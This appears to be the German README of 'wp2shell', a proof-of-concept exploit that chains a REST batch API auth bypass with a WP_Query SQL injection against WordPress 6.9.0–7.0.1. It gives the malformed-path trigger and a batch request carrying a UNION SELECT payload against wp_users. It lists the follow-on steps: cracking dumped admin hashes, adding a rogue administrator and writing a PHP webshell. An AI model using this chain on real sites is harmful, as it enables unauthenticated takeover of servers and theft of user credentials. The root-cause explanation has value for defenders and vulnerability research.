Pre-Auth-RCE-Proof-of-Concept, das eine WordPress-REST-Batch-API-Authentifizierungsumgehung mit WP_Query-SQL-Injection verkettet, um Hashes auszulesen, Admin-Benutzer hinzuzufügen oder eine Webshell zu platzieren.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Nur für autorisierte Penetrationstests und Sicherheitsforschung. Die Ausführung gegen Systeme ohne schriftliche Autorisierung ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.
wp2shell ist ein Proof-of-Concept-Exploit, der zwei unabhängig gemeldete Schwachstellen verkettet, um unauthentifizierte Remote-Code-Ausführung auf ungepatchten WordPress-Installationen zu erreichen.
| CVE | Komponente | Klasse | Authentifizierung erforderlich |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array-Desynchronisation → Auth-Bypass | Keine |
| CVE-2026-60137 | WP_Query | SQL-Injection über author__not_in | Keine (durch obige umgangen) |
Das Endergebnis: eine Shell auf der Maschine, ein bösartiger Administrator-Account oder ein ausgelesener Credential-Hash — alles aus einer einzigen unauthentifizierten POST-Anfrage.
Betroffene Versionen: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Behoben in: WordPress 6.9.5 / 7.0.2 (Patch veröffentlicht zusammen mit koordinierter Offenlegung)
WordPress 5.6 führte den Batch-Verarbeitungsendpunkt unter /wp-json/batch/v1 ein. Er ermöglicht authentifizierten REST-Clients, mehrere Unteranfragen in einem einzigen HTTP-Roundtrip zu bündeln. Jede Unteranfrage wird unabhängig validiert und von WP_REST_Server::serve_batch_request_v1() weitergeleitet.
Innerhalb von serve_batch_request_v1() (vereinfacht):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Die beiden Arrays ($responses und $matches) sollen synchron bleiben — ein Eintrag pro Unteranfrage, gleicher Index. Wenn Unteranfrage [0] bei wp_parse_url() fehlschlägt, fügt sie einen Eintrag zu $responses hinzu, aber nicht zu $matches. Nach der ersten Schleife:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
Schleife 2 leitet dann $matches[0] weiter und schreibt das Ergebnis nach $responses[0]. Sie leitet request[1] weiter, überschreibt aber Index 0 in den Responses — und verwendet dabei kritischerweise den Berechtigungskontext, der im Rahmen der Fehlerbehandlung der fehlgeschlagenen request[0] berechnet wurde, nicht den Berechtigungskontext für den Zielendpunkt.
Der praktische Effekt: Jeder Endpunkt, der Authentifizierung erfordert (einschließlich Endpunkte, die SQL-Abfragen ausführen), kann ohne Anmeldedaten aufgerufen werden.
"path": "://\x00" # triggers wp_parse_url() → false
Die Zeichenkette ://\x00 ist ein gültiger Python-String, aber eine ungültige URL im Wrapper wp_parse_url() von PHP (das Null-Byte lässt das Parsen fehlschlagen und gibt false statt eines WP_Error zurück, was die is_wp_error()-Prüfung nutzlos macht — nur $parsed === false fängt es ab, und die Array-Ausrichtung ist zu diesem Zeitpunkt bereits gebrochen).
WP_Query author__not_in SQL-InjectionDie WordPress REST API für Beiträge (/wp/v2/posts) stellt einen author_exclude-Query-Parameter bereit, der direkt auf das author__not_in-Argument von WP_Query abbildet. WP_Query ist die zentrale Datenbankabstraktion, die für nahezu jede Inhaltsabfrage in WordPress verwendet wird.
In WP_Query::parse_query() (vereinfacht):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Später in WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
Die Bereinigung greift nur, wenn $author__not_in ein Array ist. Das Typsystem von PHP bestimmt dies anhand der Art, wie der Wert ankommt:
[1, 2, 3] → is_array() = true → bereinigt"1,2,3" (ein String) → is_array() = false → nicht bereinigtDer REST-Endpunkt akzeptiert author_exclude aus dem URL-Query-String. Er kommt als String an. WP_Query überspringt den Bereinigungsblock, und der Rohwert wird in die SQL-WHERE-Klausel interpoliert.
Der Injection-Punkt landet in einem NOT IN (...)-Kontext:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Da der Batch-Endpunkt die Unteranfrage als Teil eines größeren Abfrageergebnisses weiterleitet, werden die UNION-Zeilen im REST-JSON-Response-Body zurückgegeben, was dies zu einer Boolean/UNION blind-freien Extraktion macht — kein Timing, kein Out-of-Band erforderlich.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Abhängigkeiten installieren:
pip install requests cloudscraper